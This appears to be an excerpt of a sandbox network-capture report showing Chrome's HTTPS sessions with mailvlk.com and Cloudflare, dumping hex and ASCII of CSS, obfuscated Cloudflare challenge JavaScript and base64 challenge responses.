2024-04-24 13:43:06 UTC	14193	IN	Data Raw: 6e 74 42 6c 6f 63 6b 20 3e 20 64 69 76 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 72 6f 77 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 67 61 70 3a 20 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 77 6f 4f 70 74 69 6f 6e 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 72 61 64 69 6f 62 75 74 74 6f 6e 73 20 64 69 76 20 6c 61 62 65 6c 2c Data Ascii: ntBlock > div { display: flex; flex-direction: row; align-items: center; padding: 0px; gap: 8px; } .twoOptionFormFieldBlock div.radiobuttons div label,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.17	49746	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:06 UTC	937	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_page/v1?ray=879685369a8a0fc1 HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mailvlk.com/?__cf_chl_rt_tk=N7uH4Kxa9_0RyojcAoiu.zjjUwtHsqzk0ADVK3Dx5Fs-1713966186-0.0.1.1-1557 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:06 UTC	683	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:06 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5d7kaxd9r78qvnpFxGTgFd942xTMMyP%2F1CpUwHNC%2BRLRgeUOEo8EkkK1Hjz%2BYAZkXBrkq9Yv87XkLRsDerBCVZXqIeP0wvqH1qb%2BlITpiScAk9GsAtWUT1xENArcAw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87968537ca4c08f0-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:06 UTC	145	IN	Data Raw: 38 62 0d 0a 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 53 52 3d 74 72 75 65 3b 7e 66 75 6e 63 74 69 6f 6e 28 69 35 2c 66 75 2c 66 76 2c 66 7a 2c 66 47 2c 66 49 2c 66 4a 2c 66 4b 2c 66 4c 2c 66 4d 2c 66 4e 2c 66 4f 2c 66 50 2c 66 51 2c 66 52 2c 66 53 2c 66 54 2c 66 55 2c 66 56 2c 66 57 2c 66 58 2c 66 59 2c 66 5a 2c 67 30 0d 0a Data Ascii: 8bwindow._cf_chl_opt.uaO=false;window._cf_chl_opt.uaSR=true;~function(i5,fu,fv,fz,fG,fI,fJ,fK,fL,fM,fN,fO,fP,fQ,fR,fS,fT,fU,fV,fW,fX,fY,fZ,g0
2024-04-24 13:43:06 UTC	1369	IN	Data Raw: 32 34 30 65 0d 0a 2c 67 31 2c 67 32 2c 67 33 2c 67 34 2c 67 35 2c 67 36 2c 67 37 2c 67 38 2c 67 39 2c 67 61 2c 67 62 2c 67 63 2c 67 64 2c 67 65 2c 67 66 2c 67 67 2c 67 68 2c 67 69 2c 67 6a 2c 67 6b 2c 67 6c 2c 67 6d 2c 67 6e 2c 67 6f 2c 67 70 2c 67 71 2c 67 72 2c 67 73 2c 67 75 2c 67 48 2c 67 55 2c 67 58 2c 68 39 2c 68 64 2c 68 68 2c 68 6b 2c 68 6c 2c 68 51 2c 68 53 2c 68 57 2c 68 58 2c 69 31 2c 69 32 2c 69 33 2c 68 69 2c 68 6a 29 7b 66 6f 72 28 69 35 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 69 34 2c 65 2c 66 29 7b 66 6f 72 28 69 34 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 69 34 28 32 32 36 36 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 69 34 28 32 30 31 38 29 29 2f 32 2b 70 61 72 73 65 49 Data Ascii: 240e,g1,g2,g3,g4,g5,g6,g7,g8,g9,ga,gb,gc,gd,ge,gf,gg,gh,gi,gj,gk,gl,gm,gn,go,gp,gq,gr,gs,gu,gH,gU,gX,h9,hd,hh,hk,hl,hQ,hS,hW,hX,i1,i2,i3,hi,hj){for(i5=b,function(c,d,i4,e,f){for(i4=b,e=c();!![];)try{if(f=parseInt(i4(2266))/1+-parseInt(i4(2018))/2+parseI
2024-04-24 13:43:06 UTC	1369	IN	Data Raw: 7d 2c 27 79 61 7a 55 75 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 47 68 53 57 76 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 42 45 52 4e 6d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 48 54 4f 77 71 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 78 4d 72 6d 7a 27 3a 69 6d 28 32 32 38 32 29 2c 27 4f 4b 6f 57 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 7a 69 47 47 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 50 55 72 49 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 Data Ascii: },'yazUu':function(h,i){return i\|h},'GhSWv':function(h,i){return h<<i},'BERNm':function(h,i){return h&i},'HTOwq':function(h,i){return h-i},'xMrmz':im(2282),'OKoWM':function(h,i){return i==h},'ziGGO':function(h,i){return h!=i},'PUrIt':function(h,i){return
2024-04-24 13:43:06 UTC	1369	IN	Data Raw: 28 31 32 35 30 29 5d 28 30 29 2c 78 3d 30 3b 38 3e 78 3b 49 3d 4e 26 31 2e 37 35 7c 49 3c 3c 31 2e 31 38 2c 4a 3d 3d 64 5b 69 71 28 32 38 30 32 29 5d 28 6a 2c 31 29 3f 28 4a 3d 30 2c 48 5b 69 71 28 31 34 33 32 29 5d 28 64 5b 69 71 28 31 34 39 31 29 5d 28 6f 2c 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 7d 65 6c 73 65 7b 66 6f 72 28 4e 3d 31 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 69 71 28 31 33 33 37 29 5d 28 49 3c 3c 31 2c 4e 29 2c 4a 3d 3d 6a 2d 31 3f 28 4a 3d 30 2c 48 5b 69 71 28 31 34 33 32 29 5d 28 64 5b 69 71 28 32 35 37 36 29 5d 28 6f 2c 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3d 30 2c 78 2b 2b 29 3b 66 6f 72 28 4e 3d 44 5b 69 71 28 31 32 35 30 29 5d 28 30 29 2c 78 3d 30 3b 64 5b 69 71 28 31 35 30 30 29 5d 28 31 36 Data Ascii: (1250)](0),x=0;8>x;I=N&1.75\|I<<1.18,J==d[iq(2802)](j,1)?(J=0,H[iq(1432)](d[iq(1491)](o,I)),I=0):J++,N>>=1,x++);}}else{for(N=1,x=0;x<G;I=d[iq(1337)](I<<1,N),J==j-1?(J=0,H[iq(1432)](d[iq(2576)](o,I)),I=0):J++,N=0,x++);for(N=D[iq(1250)](0),x=0;d[iq(1500)](16
2024-04-24 13:43:06 UTC	1369	IN	Data Raw: 2c 48 5b 69 71 28 31 34 33 32 29 5d 28 64 5b 69 71 28 31 35 34 38 29 5d 28 6f 2c 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 49 3c 3c 3d 31 2c 4a 3d 3d 64 5b 69 71 28 31 35 30 32 29 5d 28 6a 2c 31 29 29 7b 69 66 28 64 5b 69 71 28 31 31 31 38 29 5d 21 3d 3d 64 5b 69 71 28 31 31 31 38 29 5d 29 7b 66 6f 72 28 51 3d 69 71 28 39 38 38 29 5b 69 71 28 32 30 31 30 29 5d 28 27 7c 27 29 2c 52 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 51 5b 52 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 54 3d 28 53 3d 7b 7d 2c 53 5b 69 71 28 31 38 38 34 29 5d 3d 64 5b 69 71 28 37 33 30 29 5d 2c 53 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 53 28 69 71 28 32 37 39 31 29 2c 66 75 6e 63 74 69 6f 6e 28 55 2c 69 Data Ascii: ,H[iq(1432)](d[iq(1548)](o,I)),I=0):J++,N>>=1,x++);for(;;)if(I<<=1,J==d[iq(1502)](j,1)){if(d[iq(1118)]!==d[iq(1118)]){for(Q=iq(988)[iq(2010)]('\|'),R=0;!![];){switch(Q[R++]){case'0':T=(S={},S[iq(1884)]=d[iq(730)],S);continue;case'1':S(iq(2791),function(U,i
2024-04-24 13:43:06 UTC	1369	IN	Data Raw: 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 4f 3d 65 28 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 45 3d 73 5b 33 5d 3d 4f 2c 44 5b 69 78 28 31 34 33 32 29 5d 28 4f 29 3b 3b 29 7b 69 66 28 64 5b 69 78 28 38 39 36 29 5d 28 49 2c 69 29 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 69 78 28 38 36 37 29 5d 28 32 2c 43 29 2c 46 3d 31 3b 64 5b 69 78 28 32 33 34 38 29 5d 28 46 2c 4b 29 3b 4e 3d 64 5b 69 78 28 38 32 33 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 64 5b 69 78 28 39 37 35 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 28 30 3c 4e 3f 31 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4f 3d 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 Data Ascii: :0)F,F<<=1);O=e(J);break;case 2:return''}for(E=s[3]=O,D[ix(1432)](O);;){if(d[ix(896)](I,i))return'';for(J=0,K=Math[ix(867)](2,C),F=1;d[ix(2348)](F,K);N=d[ix(823)](G,H),H>>=1,0==H&&(H=j,G=d[ix(975)](o,I++)),J\|=(0<N?1:0)F,F<<=1);switch(O=J){case 0:for(J=0
2024-04-24 13:43:06 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 29 7b 72 65 74 75 72 6e 20 69 5e 6a 7d 2c 64 5b 69 42 28 31 32 39 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 29 7b 72 65 74 75 72 6e 20 6a 5e 69 7d 2c 64 5b 69 42 28 31 32 39 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 29 7b 72 65 74 75 72 6e 20 69 25 6a 7d 2c 64 5b 69 42 28 32 35 34 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 29 7b 72 65 74 75 72 6e 20 6a 5e 69 7d 2c 64 5b 69 42 28 35 32 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 29 7b 72 65 74 75 72 6e 20 69 5e 6a 7d 2c 64 5b 69 42 28 32 34 37 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 29 7b 72 65 74 75 72 6e 20 69 5e 6a 7d 2c 64 5b 69 42 28 31 30 37 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 29 7b 72 65 74 75 72 6e 20 6a 26 69 7d 2c 64 5b Data Ascii: function(i,j){return i^j},d[iB(1296)]=function(i,j){return j^i},d[iB(1290)]=function(i,j){return i%j},d[iB(2547)]=function(i,j){return j^i},d[iB(522)]=function(i,j){return i^j},d[iB(2471)]=function(i,j){return i^j},d[iB(1079)]=function(i,j){return j&i},d[
2024-04-24 13:43:06 UTC	1024	IN	Data Raw: 65 5b 69 43 28 31 33 38 38 29 5d 28 31 33 31 2c 74 68 69 73 2e 67 29 5d 5b 33 5d 5e 65 5b 69 43 28 32 36 34 30 29 5d 28 37 38 2b 74 68 69 73 2e 68 5b 65 5b 69 43 28 31 33 38 38 29 5d 28 31 33 31 2c 74 68 69 73 2e 67 29 5d 5b 31 5d 5b 69 43 28 31 32 35 30 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 33 31 2e 36 36 5d 5b 30 5d 2b 2b 29 2c 32 35 35 29 2c 6c 3d 65 5b 69 43 28 31 39 39 38 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 33 31 5d 5b 33 5d 2c 37 38 2b 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 33 31 5d 5b 31 5d 5b 69 43 28 31 32 35 30 29 5d 28 74 68 69 73 2e 68 5b 65 5b 69 43 28 31 39 39 38 29 5d 28 31 33 31 2c 74 68 69 73 2e 67 29 5d 5b 30 5d 2b 2b 29 26 32 35 35 29 2c 6d 3d 2d 31 2c 6e 3d 30 2c 48 3d 3d 3d 31 39 31 3f 28 6d 3d Data Ascii: e[iC(1388)](131,this.g)][3]^e[iC(2640)](78+this.h[e[iC(1388)](131,this.g)][1][iC(1250)](this.h[this.g^131.66][0]++),255),l=e[iC(1998)](this.h[this.g^131][3],78+this.h[this.g^131][1][iC(1250)](this.h[e[iC(1998)](131,this.g)][0]++)&255),m=-1,n=0,H===191?(m=
2024-04-24 13:43:06 UTC	1369	IN	Data Raw: 38 38 39 0d 0a 2e 30 33 5e 6b 2c 74 68 69 73 2e 67 29 5d 2c 74 68 69 73 2e 68 5b 65 5b 69 43 28 31 33 38 38 29 5d 28 65 5b 69 43 28 31 30 33 30 29 5d 28 6c 2c 31 35 29 2c 74 68 69 73 2e 67 29 5d 29 29 3a 36 35 3d 3d 3d 54 3f 28 6d 3d 65 5b 69 43 28 31 33 38 38 29 5d 28 6a 2c 32 34 34 29 2c 6e 3d 74 68 69 73 2e 68 5b 65 5b 69 43 28 37 35 39 29 5d 28 65 5b 69 43 28 31 38 35 34 29 5d 28 6b 2c 31 33 39 29 2c 74 68 69 73 2e 67 29 5d 7c 74 68 69 73 2e 68 5b 65 5b 69 43 28 38 35 32 29 5d 28 65 5b 69 43 28 31 38 33 34 29 5d 28 6c 2c 31 38 33 29 2c 74 68 69 73 2e 67 29 5d 29 3a 55 3d 3d 3d 31 33 3f 28 6d 3d 65 5b 69 43 28 31 30 33 30 29 5d 28 6a 2c 32 33 30 29 2c 6e 3d 65 5b 69 43 28 31 31 35 35 29 5d 28 74 68 69 73 2e 68 5b 65 5b 69 43 28 37 35 39 29 5d 28 65 5b Data Ascii: 889.03^k,this.g)],this.h[e[iC(1388)](e[iC(1030)](l,15),this.g)])):65===T?(m=e[iC(1388)](j,244),n=this.h[e[iC(759)](e[iC(1854)](k,139),this.g)]\|this.h[e[iC(852)](e[iC(1834)](l,183),this.g)]):U===13?(m=e[iC(1030)](j,230),n=e[iC(1155)](this.h[e[iC(759)](e[
2024-04-24 13:43:06 UTC	823	IN	Data Raw: 32 29 5d 3d 69 44 28 36 34 37 29 2c 69 5b 69 44 28 32 32 36 39 29 5d 3d 69 44 28 31 31 30 31 29 2c 69 5b 69 44 28 37 34 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 69 5b 69 44 28 32 30 37 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 69 29 3b 74 72 79 7b 69 66 28 6b 3d 6a 5b 69 44 28 32 30 39 39 29 5d 28 68 2c 69 44 28 32 30 30 37 29 29 2c 6c 3d 66 75 5b 69 44 28 37 36 31 29 5d 5b 69 44 28 32 32 38 36 29 5d 3f 6a 5b 69 44 28 32 33 30 39 29 5d 28 27 68 2f 27 2b 66 75 5b 69 44 28 37 36 31 29 5d 5b 69 44 28 32 32 38 36 29 5d 2c 27 2f 27 29 3a 27 27 2c 6d 3d 6a 5b 69 44 28 32 32 35 34 29 5d 28 6a 5b 69 44 28 32 32 35 34 29 5d 28 6a 5b 69 44 28 32 35 37 38 29 5d 28 6a 5b Data Ascii: 2)]=iD(647),i[iD(2269)]=iD(1101),i[iD(744)]=function(C,D){return C+D},i[iD(2072)]=function(C,D){return C+D},i);try{if(k=j[iD(2099)](h,iD(2007)),l=fu[iD(761)][iD(2286)]?j[iD(2309)]('h/'+fu[iD(761)][iD(2286)],'/'):'',m=j[iD(2254)](j[iD(2254)](j[iD(2578)](j[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.17	49747	35.190.80.1	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:06 UTC	530	OUT	OPTIONS /report/v4?s=iDUvZaCtDpJy3qF6qkuzg7zhpHmebhCTLUFDDABNeySo%2FlMYbME3a7DyNdxlydWBzoHFDmHBneIxt0DzcWkr9XChmzd%2FcJaJe%2B8kNGExQJUuG3M3vFjrwWRSJwQh3g%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://mailvlk.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:07 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 24 Apr 2024 13:43:06 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.17	49748	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:07 UTC	1045	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1894439682:1713964362:f3bhfDBv5QOakV6M8k-1UjyH98EctZInS5uS_6Qc31k/879685369a8a0fc1/fc4adc0f3b83a0b HTTP/1.1 Host: mailvlk.com Connection: keep-alive Content-Length: 1950 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-type: application/x-www-form-urlencoded sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" CF-Challenge: fc4adc0f3b83a0b sec-ch-ua-platform: "Windows" Accept: / Origin: https://mailvlk.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://mailvlk.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:07 UTC	1950	OUT	Data Raw: 76 5f 38 37 39 36 38 35 33 36 39 61 38 61 30 66 63 31 3d 50 44 39 66 5a 66 6c 66 4c 66 59 66 6b 6a 35 46 6a 35 4e 66 24 78 6b 2d 38 4a 70 49 65 35 6f 39 35 50 6a 35 72 39 45 4a 35 32 66 45 33 70 6a 65 76 39 35 32 35 52 69 78 58 68 45 52 79 35 69 66 50 70 58 31 35 72 41 65 35 73 65 4d 35 35 33 35 36 70 70 35 71 66 35 6d 4d 47 35 35 78 63 35 67 31 35 6a 6c 4f 36 45 69 2d 39 55 39 4a 24 6b 72 35 6e 66 45 67 5a 5a 52 72 4f 70 35 56 45 47 7a 6d 4b 46 35 6e 61 72 35 48 67 76 5a 59 76 78 35 49 38 4c 76 6c 33 7a 74 36 56 4b 75 63 73 42 6d 58 78 63 35 58 32 44 2d 66 39 35 56 4b 69 39 74 58 37 38 35 52 39 6a 48 66 35 47 44 38 47 66 70 35 6a 4b 54 36 66 35 72 66 58 6c 6c 54 41 6e 35 33 33 68 55 45 35 68 35 6a 44 35 6f 47 63 35 50 4b 5a 44 6c 4f 49 66 55 6a 66 35 6d Data Ascii: v_879685369a8a0fc1=PD9fZflfLfYfkj5Fj5Nf$xk-8JpIe5o95Pj5r9EJ52fE3pjev9525RixXhERy5ifPpX15rAe5seM55356pp5qf5mMG55xc5g15jlO6Ei-9U9J$kr5nfEgZZRrOp5VEGzmKF5nar5HgvZYvx5I8Lvl3zt6VKucsBmXxc5X2D-f95VKi9tX785R9jHf5GD8Gfp5jKT6f5rfXllTAn533hUE5h5jD5oGc5PKZDlOIfUjf5m
2024-04-24 13:43:07 UTC	679	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:07 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: lDhI8BFq971KemLai34KVo2twvUuWq1zOx/Nh6auVYFeTEE0BxSMnmcNHwKxtcHW$vWCzkcmhDe+ZJvJxG8zJiQ== vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LMM%2FL2Pnly5kvpQvWH5JSh1hwLghYwYL2%2FD9s9NyGnJbml3CWkLO6FkMWuG%2B4JCxnwZKAQ8PI%2Bn4pyM%2B3icUE7H004zygWNsQy8zxxo0kujp0C5d7HFlbC%2BQBh77Cw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8796853e58b57c33-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:07 UTC	690	IN	Data Raw: 37 35 34 0d 0a 63 37 65 6d 69 58 6d 4e 67 62 57 6b 75 59 36 37 70 6e 71 32 75 38 5a 2b 71 70 6d 75 69 4d 69 64 73 6f 7a 45 73 71 2b 51 72 74 6a 45 73 62 4b 36 75 4a 69 58 73 4f 44 4f 33 74 2b 33 78 72 33 48 74 4f 79 33 35 4f 66 6f 77 2b 50 70 77 62 44 6e 78 50 62 6a 36 4f 75 33 2f 65 37 72 36 4c 33 76 30 77 54 7a 31 64 54 5a 75 77 59 42 32 77 34 47 42 2f 6a 4b 42 41 6e 31 46 41 6a 6c 46 77 51 4b 46 4e 66 57 43 51 7a 63 30 78 34 44 46 66 6b 52 38 43 6e 37 4b 43 54 2b 43 41 67 6d 41 79 58 78 4c 42 30 55 4d 69 37 30 38 69 55 74 4a 52 41 38 4e 76 7a 36 4d 7a 6b 58 2f 6a 4e 42 4d 55 67 38 47 79 55 34 4b 6b 55 4e 55 6a 39 4d 50 53 68 51 55 45 46 53 50 43 78 63 48 53 34 77 4d 30 42 45 54 31 73 66 52 30 64 42 59 43 6c 46 4a 45 35 73 63 58 4a 4a 59 56 56 77 61 31 Data Ascii: 754c7emiXmNgbWkuY67pnq2u8Z+qpmuiMidsozEsq+QrtjEsbK6uJiXsODO3t+3xr3HtOy35Ofow+PpwbDnxPbj6Ou3/e7r6L3v0wTz1dTZuwYB2w4GB/jKBAn1FAjlFwQKFNfWCQzc0x4DFfkR8Cn7KCT+CAgmAyXxLB0UMi708iUtJRA8Nvz6MzkX/jNBMUg8GyU4KkUNUj9MPShQUEFSPCxcHS4wM0BET1sfR0dBYClFJE5scXJJYVVwa1
2024-04-24 13:43:07 UTC	1193	IN	Data Raw: 72 61 39 74 62 48 42 73 4b 4b 35 74 4c 32 57 69 49 53 45 6a 5a 32 42 70 38 61 79 7a 38 32 72 78 35 4c 4c 75 64 47 75 73 63 72 56 33 36 44 61 6f 4b 4f 32 76 2b 53 33 78 38 66 63 77 37 33 62 79 65 4c 44 7a 36 69 2f 77 75 72 46 2b 50 50 6f 35 76 58 72 31 66 79 38 32 64 76 73 33 73 54 76 2b 4f 2f 7a 38 38 6a 71 33 64 63 4d 41 41 62 50 30 4d 6b 51 30 4f 4c 53 39 75 62 58 34 2b 2f 77 49 41 45 41 2f 42 7a 68 2b 43 44 6c 39 50 48 30 49 2b 51 59 35 79 4d 59 2b 76 34 54 38 42 4d 31 46 50 63 48 41 79 4d 47 43 77 63 6e 44 67 38 4c 49 78 59 54 44 79 63 65 46 78 4d 72 4a 68 73 58 4c 7a 67 66 47 7a 4e 49 49 78 38 33 57 43 63 6a 4f 78 55 72 4a 7a 34 77 54 46 31 5a 51 47 56 44 55 7a 31 42 4a 6d 45 70 59 47 4e 69 58 30 78 75 4d 32 39 4d 4d 6e 46 69 4c 7a 6c 6b 5a 7a 4e 53 Data Ascii: ra9tbHBsKK5tL2WiISEjZ2Bp8ayz82rx5LLudGuscrV36DaoKO2v+S3x8fcw73byeLDz6i/wurF+PPo5vXr1fy82dvs3sTv+O/z88jq3dcMAAbP0MkQ0OLS9ubX4+/wIAEA/Bzh+CDl9PH0I+QY5yMY+v4T8BM1FPcHAyMGCwcnDg8LIxYTDyceFxMrJhsXLzgfGzNIIx83WCcjOxUrJz4wTF1ZQGVDUz1BJmEpYGNiX0xuM29MMnFiLzlkZzNS
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 31 37 37 37 0d 0a 46 6a 67 6a 41 66 74 41 2f 51 62 39 47 41 51 7a 4b 77 4d 4d 48 44 74 41 4a 79 64 45 49 78 55 6d 54 56 59 54 4b 46 45 79 55 46 49 66 47 45 74 55 46 6b 56 56 4a 7a 73 78 50 45 4d 2b 61 45 6b 6d 4b 55 70 62 52 46 39 77 62 46 4e 34 56 6d 5a 51 56 44 6c 30 50 48 4e 32 64 59 4e 31 54 34 61 42 58 34 43 41 64 55 4a 4d 64 33 70 47 5a 56 71 49 68 34 69 51 61 59 47 51 56 31 64 56 56 6e 46 62 65 56 32 51 6f 46 35 62 70 6f 64 66 61 57 5a 34 66 58 65 72 6e 34 31 74 6e 70 4b 71 69 71 6d 49 69 4b 4a 73 67 35 32 39 74 70 53 61 75 72 42 38 6f 72 6d 61 6c 5a 46 2f 73 36 65 59 79 59 57 65 6e 71 69 4b 6f 5a 43 66 70 4e 48 48 30 4a 65 37 71 62 36 31 74 71 72 4d 77 39 76 61 72 72 33 69 74 38 71 68 74 75 75 6c 36 75 79 34 71 4d 72 41 76 2b 76 57 34 2b 72 4a 2b Data Ascii: 1777FjgjAftA/Qb9GAQzKwMMHDtAJydEIxUmTVYTKFEyUFIfGEtUFkVVJzsxPEM+aEkmKUpbRF9wbFN4VmZQVDl0PHN2dYN1T4aBX4CAdUJMd3pGZVqIh4iQaYGQV1dVVnFbeV2QoF5bpodfaWZ4fXern41tnpKqiqmIiKJsg529tpSaurB8ormalZF/s6eYyYWenqiKoZCfpNHH0Je7qb61tqrMw9varr3it8qhtuul6uy4qMrAv+vW4+rJ+
